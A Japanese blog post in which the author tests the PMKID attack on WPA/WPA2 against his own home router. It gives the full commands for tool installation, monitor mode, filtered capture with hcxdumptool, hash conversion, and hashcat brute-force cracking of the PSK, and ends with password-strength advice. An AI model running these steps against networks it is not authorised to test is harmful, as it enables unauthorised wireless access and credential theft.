PMKIDを使用したWPA/WPA2に対する新しい攻撃を試してみた
1. 目的
8月初旬に、PMKIDを使用してWPA/WPA2のPSK(Pre-Shared Key)をクラックする手法が公開されました。
ローミング機能が有効になっている機器が対象とのことで、
を動機に試してみました。
以下、参考サイトです。
一次情報であるhashcatのフォーラムのスレッド
New attack on WPA/WPA2 using PMKID
The Hacker Newsの記事
How to Hack WiFi Password Easily Using New Attack On WPA/WPA2
日本語の解説記事
PMKIDを悪用するWiFiハッキング手法を発見。 - 忙しい人のためのサイバーセキュリティニュース
2. 検証環境
以下の環境で検証しました。
2.1. 無線LANルーター
Huawei HG8045D
を使用しました。
自宅のインターネット回線はNURO光を使用しており、無料でレンタルしているONU(光回線終端装置)兼ルーターです。
2.2. 無線LANアダプタ
Buffalo WLI-UC-G301N
を使用しました。
WLI-UC-G301N 〈エアステーション エヌフィニティ〉 11n対応 11g/b USB2.0用 無線子機 : Wi-Fiアダプター | バッファロー
モニターモードに対応している無線LANアダプタのうち、WLI-UC-G301N
はAmazonでも家電量販店でも売られており、入手しやすく安価のため、おすすめです。
また、使用するキャプチャツールのhcxdumptool
は、Ralink RT3070
のチップセットをサポートしていると明記されています。
GitHub - ZerBea/hcxdumptool: Small tool to capture packets from wlan devices.
WLI-UC-G301N
はチップセットにRalink RT3072
を使用しているとのことです。Ralink RT3070
と末尾が違いますが、おそらくマイナーチェンジでしょう。
https://wikidevi.com/wiki/Buffalo_WLI-UC-G301N
2.3. PC・OS
キャプチャは、VirtualBox上のKali Linux
で実施しました。なお、USB接続の無線LANアダプタを認識させるため、VirtualBox extension pack
のインストールが必要です。
クラックは、ホストPCのWindows10
で実施、GPUにGeforce GTX 1050Ti
を搭載しています。
3. 準備
3.1. hcxdumptoolのインストール
キャプチャツールであるhcxdumptool
をインストールします。
GitHub - ZerBea/hcxdumptool: Small tool to capture packets from wlan devices.
# githubから最新ソース取得 root@kali:~# git clone https://github.com/ZerBea/hcxdumptool.git Cloning into 'hcxdumptool'... remote: Counting objects: 455, done. remote: Compressing objects: 100% (108/108), done. remote: Total 455 (delta 102), reused 88 (delta 45), pack-reused 302 Receiving objects: 100% (455/455), 176.36 KiB | 817.00 KiB/s, done. Resolving deltas: 100% (276/276), done. root@kali:~# cd hcxdumptool/ # ビルド root@kali:~/hcxdumptool# make cc -O3 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c -lpthread # インストール root@kali:~/hcxdumptool# make install cc -O3 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c -lpthread install -m 0755 -D hcxdumptool /usr/local/bin/hcxdumptool rm -f hcxdumptool rm -f *.o *~
3.2. hcxtoolsのインストール
pcapファイルからhashcatが扱うことができるファイルに変換するツールであるhcxtools
をインストールします。
GitHub - ZerBea/hcxtools: Portable solution for capturing wlan traffic and conversion to hashcat formats (recommended by hashcat) and to John the Ripper formats. hcx: h = hash, c = capture, convert and calculate candidates, x = different hashtypes
# 依存ライブラリのインストール root@kali:~# apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev # githubから最新ソース取得 root@kali:~# git clone https://github.com/ZerBea/hcxtools.git Cloning into 'hcxtools'... remote: Counting objects: 3575, done. remote: Compressing objects: 100% (13/13), done. remote: Total 3575 (delta 8), reused 14 (delta 6), pack-reused 3556 Receiving objects: 100% (3575/3575), 1.05 MiB | 1.70 MiB/s, done. Resolving deltas: 100% (2498/2498), done. root@kali:~# cd hcxtools/ # ビルド root@kali:~/hcxtools# make mkdir -p .deps cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpcaptool.d -o hcxpcaptool hcxpcaptool.c -lz -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhashcattool.d -o hcxhashcattool hcxhashcattool.c -lcrypto -lpthread cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhc2hcx.d -o wlanhc2hcx wlanhc2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanwkp2hcx.d -o wlanwkp2hcx wlanwkp2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxinfo.d -o wlanhcxinfo wlanhcxinfo.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2cap.d -o wlanhcx2cap wlanhcx2cap.c -lpcap cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2essid.d -o wlanhcx2essid wlanhcx2essid.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2ssid.d -o wlanhcx2ssid wlanhcx2ssid.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxmnc.d -o wlanhcxmnc wlanhcxmnc.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhashhcx.d -o wlanhashhcx wlanhashhcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxcat.d -o wlanhcxcat wlanhcxcat.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanpmk2hcx.d -o wlanpmk2hcx wlanpmk2hcx.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanjohn2hcx.d -o wlanjohn2hcx wlanjohn2hcx.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancow2hcxpmk.d -o wlancow2hcxpmk wlancow2hcxpmk.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/whoismac.d -o whoismac whoismac.c -lcurl cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2john.d -o wlanhcx2john wlanhcx2john.c cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2psk.d -o wlanhcx2psk wlanhcx2psk.c -lcrypto cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancap2wpasec.d -o wlancap2wpasec wlancap2wpasec.c -lcurl # インストール root@kali:~/hcxtools# make install install -m 0755 -D hcxpcaptool /usr/local/bin/hcxpcaptool install -m 0755 -D hcxhashcattool /usr/local/bin/hcxhashcattool install -m 0755 -D wlanhc2hcx /usr/local/bin/wlanhc2hcx install -m 0755 -D wlanwkp2hcx /usr/local/bin/wlanwkp2hcx install -m 0755 -D wlanhcxinfo /usr/local/bin/wlanhcxinfo install -m 0755 -D wlanhcx2cap /usr/local/bin/wlanhcx2cap install -m 0755 -D wlanhcx2essid /usr/local/bin/wlanhcx2essid install -m 0755 -D wlanhcx2ssid /usr/local/bin/wlanhcx2ssid install -m 0755 -D wlanhcxmnc /usr/local/bin/wlanhcxmnc install -m 0755 -D wlanhashhcx /usr/local/bin/wlanhashhcx install -m 0755 -D wlanhcxcat /usr/local/bin/wlanhcxcat install -m 0755 -D wlanpmk2hcx /usr/local/bin/wlanpmk2hcx install -m 0755 -D wlanjohn2hcx /usr/local/bin/wlanjohn2hcx install -m 0755 -D wlancow2hcxpmk /usr/local/bin/wlancow2hcxpmk install -m 0755 -D whoismac /usr/local/bin/whoismac install -m 0755 -D wlanhcx2john /usr/local/bin/wlanhcx2john install -m 0755 -D wlanhcx2psk /usr/local/bin/wlanhcx2psk install -m 0755 -D wlancap2wpasec /usr/local/bin/wlancap2wpasec
3.3. hashcatのインストール
パスワードクラックのツールであるhashcat
をインストールします。
hashcat - advanced password recovery
こちらのDownload
リンクからバイナリをダウンロードして解凍します。
3.4. 無線LANアダプタ接続
無線LANアダプタをホストPCにUSB接続した後、VirtualBoxの右下のUSBアイコンを右クリックし、Ralink 802.11 n WLAN
を選択します。
3.5. モニターモード切り替え
無線LANアダプタをモニターモードに切り替えます。
# 無線LANアダプタを認識しているか確認 # wlan0として認識していることを確認 root@kali:~# iwconfig eth0 no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless extensions. # 無線LANアダプタを使用しているプロセスを停止 root@kali:~# airmon-ng check kill Killing these processes: PID Name 514 dhclient 723 wpa_supplicant # モニターモードに切り替え root@kali:~# airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 rt2800usb BUFFALO INC. (formerly MelCo., Inc.) WLI-UC-G301N Wireless LAN Adapter [Ralink RT3072] (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) # モニターモードに切り替わったことを確認 # wlan0がwlan0monになり、Mode:Monitorになっていることを確認 root@kali:~# iwconfig eth0 no wireless extensions. wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Power Management:off lo no wireless extensions.
4. 攻撃実行
4.1. 攻撃対象のアクセスポイント確認
誤って隣人を攻撃しないようにするためと、対象を絞ることでキャプチャ時間を短縮するため、攻撃対象の自宅ルーターのチャンネルとMACアドレスを確認します。
airodump-ng wlan0mon
を実行します。
BSSID列でMACアドレスが68:8F:84:XX:XX:XX
、CH列で使用チャンネルが2
であることを確認できました。
なお、うまく表示されない場合は、無線LANアダプタをUSBから抜き差しして、3.5の手順をやり直すとうまくいくかもしれません。
MACアドレスを元に、キャプチャ時のフィルタ用のファイルを作成します。
echo "688F84XXXXXX" > filter.txt
4.2. キャプチャ実行
以下のコマンドでキャプチャを開始します。
hcxdumptool -o test.pcapng -i wlan0mon --filterlist=filter.txt --filtermode=2 --enable_status=1 -c 2
オプション | 説明 |
---|---|
-o | 出力ファイル名。適当にtest.pcapng をセット。 |
-i | 使用するネットワークインターフェース。wlan0mon をセット。 |
--filterlist | 対象とするMACアドレスのリスト。4.1で作成したfilter.txt をセット。 |
--filtermode | フィルターモード。対象機器を指定するモードである2 をセット。 |
--enable_status | 表示するステータスメッセージ。EAPOLのみ表示するため1 をセット。 |
-c | 対象チャンネル。4.1で確認した2 をセット。 |
しかし、実行後しばらく待ちますが、PMKIDを拾いません。
やむなく、クライアントレス攻撃にはならないですが、試しにスマホからWifi接続してみたところ、PMKIDを拾いました!145f94XXXXXX
はスマホのMACアドレスです。
なお、クライアントレス攻撃が成功した場合は、[FOUND PMKID CLIENT-LESS]
と表示されるようです。
4.3. ファイル変換
test.pcapng
のキャプチャファイルからhashcat用のファイルに変換します。
root@kali:~# hcxpcaptool -z test.16800 test.pcapng start reading from test.pcapng summary: -------- file name....................: test.pcapng file type....................: pcapng 1.0 file hardware information....: x86_64 file os information..........: Linux 4.15.0-kali2-amd64 file application information.: hcxdumptool 4.2.1 network type.................: DLT_IEEE802_11_RADIO (127) endianess....................: little endian read errors..................: flawless packets inside...............: 1117 skipped packets..............: 0 packets with FCS.............: 0 beacons (with ESSID inside)..: 9 probe requests...............: 4 probe responses..............: 8 association requests.........: 222 association responses........: 455 authentications (OPEN SYSTEM): 135 authentications (BROADCOM)...: 135 EAPOL packets................: 284 EAPOL PMKIDs.................: 1 best handshakes..............: 1 (ap-less: 0) 1 PMKID(s) written to test.16800
test.16800
ファイルができました。
4.4. パスワードクラック
hashcat
でパスワードクラックを行います。
hashcat64.exe -m 16800 -w 3 test.16800 -a 3 -1 ?l?d "?1?1?1?1?1?1?1?1"
オプション | 説明 |
---|---|
-m | ハッシュモード。WPA-PMKID-PBKDF2を指す16800 をセット。 |
-w | パフォーマンスの指定。Highを指す3 をセット。実行中、他のプログラムが遅くなることを体感するレベル。 |
-a | アタックモード。ブルートフォースを意味する3 をセット。 |
-1 | カスタム文字セット。?1 が「英小文字+数字」を指すように定義。 |
?1?1?1?1?1?1?1?1 | PSKが「英小文字+数字」×8文字を前提にブルートフォースする指定。 |
実行後、しばらくしてから状況を確認します。
Time.Estimated...: Thu Jun 06 01:57:07 2019 (284 days, 2 hours)
284 days, 2 hours
ファッ・・・それは無理。
ブルートフォースの対象文字数を減らして再実行したところ、6文字で5時間、5文字で8分の見積時間となりました。
自宅ルーターのPSKはわかっているため、少々ずるいですが、PSKが8文字、末尾がABC
、残り5文字は「英小文字+数字」であることがわかっている前提で、ブルートフォースをかけました。コマンドは以下の通り。
hashcat64.exe -m 16800 -w 3 test.16800 -a 3 -1 ?l?d "?1?1?1?1?1ABC"
およそ6分でクラックに成功しました。
ぼかしていますが、赤枠内にPSKが表示されています。
5. まとめ
Huaweiの自宅ルーターに対するPSKのクラックが(多少いんちきしましたが)成功しました。
ただし、hashcatのフォーラムのスレッドにて、今回の手法の優位性の一つとしてあげられていた「クライアントレス攻撃」は成功しませんでした。(通常のクライアントがいなくても、アクセスポイントと攻撃者だけで成立する攻撃のこと。)
別途、アクセスポイントに接続しているクライアントが存在している必要がありました。ルーターの問題か、私の方法または環境の問題かは不明です。
私のPC環境では、GPUを使っていてもPSKが「英小文字+数字」×8文字だと1年弱かかりますが、性能のよいGPU、複数台連結したGPUまたは複数PCを使用すれば、8文字でもクラックは現実的になってきます。よって、文字数を増やす、記号を混ぜる等すれば、非現実的な見積時間になるのでしょう。 実際、「英小文字・英大文字・数字・記号」×8文字で試したところ、10年以上かかる見積になりました。
さて、今回、初めてWifiの実機のクラックを試してみました。
とりあえず、WLI-UC-G301N
があれば、モニターモードで動かせるため、今後もWifi関係の攻撃手法が出てきた際に遊べそうです。おすすめ。
続きの記事です。 graneed.hatenablog.com